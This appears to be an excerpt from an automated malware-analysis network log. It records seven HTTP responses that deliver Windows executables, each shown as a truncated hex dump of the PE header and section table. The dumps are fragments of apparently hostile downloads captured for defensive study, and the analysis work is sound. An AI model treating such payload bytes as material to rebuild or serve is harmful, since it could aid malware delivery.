Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKDate: Sun, 08 Dec 2024 16:45:14 GMTServer: Apache/2.4.41 (Ubuntu)Last-Modified: Mon, 05 Sep 2022 11:30:30 GMTETag: "10e436-5e7ec6832a180"Accept-Ranges: bytesContent-Length: 1106998Content-Type: application/x-msdos-programData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 12 00 d7 dd 15 63 00 92 0e 00 bf 13 00 00 e0 00 06 21 0b 01 02 19 00 26 0b 00 00 16 0d 00 00 0a 00 00 00 14 00 00 00 10 00 00 00 40 0b 00 00 00 e0 61 00 10 00 00 00 02 00 00 04 00 00 00 01 00 00 00 04 00 00 00 00 00 00 00 00 30 0f 00 00 06 00 00 1c 3a 11 00 03 00 00 00 00 00 20 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 d0 0c 00 88 2a 00 00 00 00 0d 00 d0 0c 00 00 00 30 0d 00 a8 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 0d 00 18 3c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 04 20 0d 00 18 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0c 02 0d 00 d0 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 84 25 0b 00 00 10 00 00 00 26 0b 00 00 06 00 00 00 00 00 00 00 00 00 00 00 00 00 00 60 00 50 60 2e 64 61 74 61 00 00 00 7c 27 00 00 00 40 0b 00 00 28 00 00 00 2c 0b 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 60 c0 2e 72 64 61 74 61 00 00 70 44 01 00 00 70 0b 00 00 46 01 00 00 54 0b 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 60 40 2e 62 73 73 00 00 00 00 28 08 00 00 00 c0 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 60 c0 2e 65 64 61 74 61 00 00 88 2a 00 00 00 d0 0c 00 00 2c 00 00 00 9a 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 30 40 2e 69 64 61 74 61 00 00 d0 0c 00 00 00 00 0d 00 00 0e 00 00 00 c6 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 30 c0 2e 43 52 54 00 00 00 00 2c 00 00 00 00 10 0d 00 00 02 00 00 00 d4 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 30 c0 2e 74 6c 73 00 00 00 00 20 00 00 00 00 20 0d 00 00 02 00 00 00 d6 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 30 c0 2e 72 73 72 63 00 00 00 a8 04 00 00 00 30 0d 00 00 06 00 00 00 d8 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 30 c0 2e 72 65 6c 6f 63 00 00 18 3c 00 00 00 40 0d 00 00 3e 00 00 00 de 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 30 42 2f 34 00 00 00 00 00 00 38 05 00 00 00 80 0d 00 00 06 00 00 00 1c 0d 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 40 42 2f 31 39 00 00 00 00 00 52 c8 00 00 00 90 0d 00 00 ca 00 00 00 22 0d 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 10 42 2f 33 31 00 00 00 00 00 5d 27 00 00 00 60 0e 00 00 28 00 00 00 ec 0d 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 10 42 2f 34 35 00 00 00 00 00 9a 2d 00 00 00 90 0e 00 00
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKDate: Sun, 08 Dec 2024 16:45:42 GMTServer: Apache/2.4.41 (Ubuntu)Last-Modified: Mon, 05 Sep 2022 07:49:08 GMTETag: "a7550-5e7e950876500"Accept-Ranges: bytesContent-Length: 685392Content-Type: application/x-msdos-programData Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 06 00 f3 34 12 63 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 00 00 0e 08 00 00 34 02 00 00 00 00 00 70 12 08 00 00 10 00 00 00 00 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 01 00 00 00 00 00 06 00 01 00 00 00 00 00 00 d0 0a 00 00 04 00 00 cb fd 0a 00 02 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 48 1c 0a 00 53 00 00 00 9b 1c 0a 00 c8 00 00 00 00 90 0a 00 78 03 00 00 00 00 00 00 00 00 00 00 00 46 0a 00 50 2f 00 00 00 a0 0a 00 f0 23 00 00 94 16 0a 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 20 08 00 a0 00 00 00 00 00 00 00 00 00 00 00 a4 1e 0a 00 40 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 95 0c 08 00 00 10 00 00 00 0e 08 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 72 64 61 74 61 00 00 c4 06 02 00 00 20 08 00 00 08 02 00 00 12 08 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 64 61 74 61 00 00 00 3c 46 00 00 00 30 0a 00 00 02 00 00 00 1a 0a 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 30 30 63 66 67 00 00 04 00 00 00 00 80 0a 00 00 02 00 00 00 1c 0a 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 73 72 63 00 00 00 78 03 00 00 00 90 0a 00 00 04 00 00 00 1e 0a 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 f0 23 00 00 00 a0 0a 00 00 24 00 00 00 22 0a 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKDate: Sun, 08 Dec 2024 16:45:44 GMTServer: Apache/2.4.41 (Ubuntu)Last-Modified: Mon, 05 Sep 2022 07:49:08 GMTETag: "94750-5e7e950876500"Accept-Ranges: bytesContent-Length: 608080Content-Type: application/x-msdos-programData Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 07 00 a4 34 12 63 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 00 00 b6 07 00 00 5e 01 00 00 00 00 00 c0 b9 03 00 00 10 00 00 00 00 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 01 00 00 00 00 00 06 00 01 00 00 00 00 00 00 80 09 00 00 04 00 00 6a aa 09 00 02 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 01 60 08 00 e3 57 00 00 e4 b7 08 00 2c 01 00 00 00 20 09 00 b0 08 00 00 00 00 00 00 00 00 00 00 00 18 09 00 50 2f 00 00 00 30 09 00 d8 41 00 00 14 53 08 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 bc f8 07 00 18 00 00 00 68 d0 07 00 a0 00 00 00 00 00 00 00 00 00 00 00 ec bc 08 00 dc 03 00 00 e4 5a 08 00 00 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 61 b5 07 00 00 10 00 00 00 b6 07 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 72 64 61 74 61 00 00 94 09 01 00 00 d0 07 00 00 0a 01 00 00 ba 07 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 64 61 74 61 00 00 00 44 1d 00 00 00 e0 08 00 00 04 00 00 00 c4 08 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 30 30 63 66 67 00 00 04 00 00 00 00 00 09 00 00 02 00 00 00 c8 08 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 74 6c 73 00 00 00 00 15 00 00 00 00 10 09 00 00 02 00 00 00 ca 08 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 72 73 72 63 00 00 00 b0 08 00 00 00 20 09 00 00 0a 00 00 00 cc 08 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 d8 41 00 00 00 30 09 00 00 42 00 00 00 d6 08 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKDate: Sun, 08 Dec 2024 16:45:45 GMTServer: Apache/2.4.41 (Ubuntu)Last-Modified: Mon, 05 Sep 2022 07:49:08 GMTETag: "6dde8-5e7e950876500"Accept-Ranges: bytesContent-Length: 450024Content-Type: application/x-msdos-programData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 01 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 d9 93 31 43 9d f2 5f 10 9d f2 5f 10 9d f2 5f 10 29 6e b0 10 9f f2 5f 10 94 8a cc 10 8b f2 5f 10 9d f2 5e 10 22 f2 5f 10 cf 9a 5e 11 9e f2 5f 10 cf 9a 5c 11 95 f2 5f 10 cf 9a 5b 11 d3 f2 5f 10 cf 9a 5a 11 d1 f2 5f 10 cf 9a 5f 11 9c f2 5f 10 cf 9a a0 10 9c f2 5f 10 cf 9a 5d 11 9c f2 5f 10 52 69 63 68 9d f2 5f 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 06 00 82 ea 30 5d 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 0f 00 28 06 00 00 82 00 00 00 00 00 00 60 d9 03 00 00 10 00 00 00 40 06 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 00 00 0a 00 00 00 06 00 00 00 00 00 00 00 00 f0 06 00 00 04 00 00 2c e0 06 00 03 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 10 67 04 00 82 cf 01 00 e8 72 06 00 18 01 00 00 00 a0 06 00 f0 03 00 00 00 00 00 00 00 00 00 00 00 9c 06 00 e8 41 00 00 00 b0 06 00 ac 3d 00 00 60 78 00 00 38 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 b8 77 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 70 06 00 e4 02 00 00 c0 63 04 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 92 26 06 00 00 10 00 00 00 28 06 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 64 61 74 61 00 00 00 48 29 00 00 00 40 06 00 00 18 00 00 00 2c 06 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 69 64 61 74 61 00 00 ac 13 00 00 00 70 06 00 00 14 00 00 00 44 06 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 64 69 64 61 74 00 00 34 00 00 00 00 90 06 00 00 02 00 00 00 58 06 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 72 73 72 63 00 00 00 f0 03 00 00 00 a0 06 00 00 04 00 00 00 5a 06 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 ac 3d 00 00 00 b0 06 00 00 3e 00 00 00 5e 06 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKDate: Sun, 08 Dec 2024 16:45:47 GMTServer: Apache/2.4.41 (Ubuntu)Last-Modified: Mon, 05 Sep 2022 07:49:08 GMTETag: "1f3950-5e7e950876500"Accept-Ranges: bytesContent-Length: 2046288Content-Type: application/x-msdos-programData Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 06 00 d0 34 12 63 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 00 00 d8 19 00 00 2e 05 00 00 00 00 00 60 a3 14 00 00 10 00 00 00 00 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 01 00 00 00 00 00 06 00 01 00 00 00 00 00 00 70 1f 00 00 04 00 00 6c 2d 20 00 02 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 e4 26 1d 00 fa 9d 00 00 de c4 1d 00 40 01 00 00 00 50 1e 00 78 03 00 00 00 00 00 00 00 00 00 00 00 0a 1f 00 50 2f 00 00 00 60 1e 00 5c 08 01 00 b0 01 1d 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 f0 19 00 a0 00 00 00 00 00 00 00 00 00 00 00 7c ca 1d 00 5c 04 00 00 80 26 1d 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 89 d7 19 00 00 10 00 00 00 d8 19 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 72 64 61 74 61 00 00 6c ef 03 00 00 f0 19 00 00 f0 03 00 00 dc 19 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 64 61 74 61 00 00 00 44 52 00 00 00 e0 1d 00 00 2e 00 00 00 cc 1d 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 30 30 63 66 67 00 00 04 00 00 00 00 40 1e 00 00 02 00 00 00 fa 1d 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 73 72 63 00 00 00 78 03 00 00 00 50 1e 00 00 04 00 00 00 fc 1d 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 5c 08 01 00 00 60 1e 00 00 0a 01 00 00 00 1e 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKDate: Sun, 08 Dec 2024 16:45:50 GMTServer: Apache/2.4.41 (Ubuntu)Last-Modified: Mon, 05 Sep 2022 07:49:08 GMTETag: "3ef50-5e7e950876500"Accept-Ranges: bytesContent-Length: 257872Content-Type: application/x-msdos-programData Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 06 00 f3 34 12 63 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 00 00 cc 02 00 00 f0 00 00 00 00 00 00 50 cf 02 00 00 10 00 00 00 00 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 01 00 00 00 00 00 06 00 01 00 00 00 00 00 00 00 04 00 00 04 00 00 53 67 04 00 02 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 44 76 03 00 53 01 00 00 97 77 03 00 f0 00 00 00 00 b0 03 00 80 03 00 00 00 00 00 00 00 00 00 00 00 c0 03 00 50 2f 00 00 00 c0 03 00 c8 35 00 00 38 71 03 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 e0 02 00 a0 00 00 00 00 00 00 00 00 00 00 00 14 7b 03 00 8c 02 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 26 cb 02 00 00 10 00 00 00 cc 02 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 72 64 61 74 61 00 00 d4 ab 00 00 00 e0 02 00 00 ac 00 00 00 d0 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 64 61 74 61 00 00 00 98 0b 00 00 00 90 03 00 00 08 00 00 00 7c 03 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 30 30 63 66 67 00 00 04 00 00 00 00 a0 03 00 00 02 00 00 00 84 03 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 73 72 63 00 00 00 80 03 00 00 00 b0 03 00 00 04 00 00 00 86 03 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 c8 35 00 00 00 c0 03 00 00 36 00 00 00 8a 03 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKDate: Sun, 08 Dec 2024 16:45:51 GMTServer: Apache/2.4.41 (Ubuntu)Last-Modified: Mon, 05 Sep 2022 07:49:08 GMTETag: "13bf0-5e7e950876500"Accept-Ranges: bytesContent-Length: 80880Content-Type: application/x-msdos-programData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 e8 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 c0 c5 e4 d5 84 a4 8a 86 84 a4 8a 86 84 a4 8a 86 30 38 65 86 86 a4 8a 86 8d dc 19 86 8f a4 8a 86 84 a4 8b 86 ac a4 8a 86 d6 cc 89 87 97 a4 8a 86 d6 cc 8e 87 90 a4 8a 86 d6 cc 8f 87 9f a4 8a 86 d6 cc 8a 87 85 a4 8a 86 d6 cc 75 86 85 a4 8a 86 d6 cc 88 87 85 a4 8a 86 52 69 63 68 84 a4 8a 86 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 05 00 7c ea 30 5d 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 0f 00 de 00 00 00 1c 00 00 00 00 00 00 90 d9 00 00 00 10 00 00 00 f0 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 00 00 0a 00 00 00 06 00 00 00 00 00 00 00 00 30 01 00 00 04 00 00 d4 6d 01 00 03 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 e0 e3 00 00 14 09 00 00 b8 00 01 00 8c 00 00 00 00 10 01 00 00 04 00 00 00 00 00 00 00 00 00 00 00 fa 00 00 f0 41 00 00 00 20 01 00 10 0a 00 00 80 20 00 00 38 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 b8 20 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 01 00 b4 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 f4 dc 00 00 00 10 00 00 00 de 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 64 61 74 61 00 00 00 f4 05 00 00 00 f0 00 00 00 02 00 00 00 e2 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 69 64 61 74 61 00 00 84 05 00 00 00 00 01 00 00 06 00 00 00 e4 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 73 72 63 00 00 00 00 04 00 00 00 10 01 00 00 04 00 00 00 ea 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 10 0a 00 00 00 20 01 00 00 0c 00 00 00 ee 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
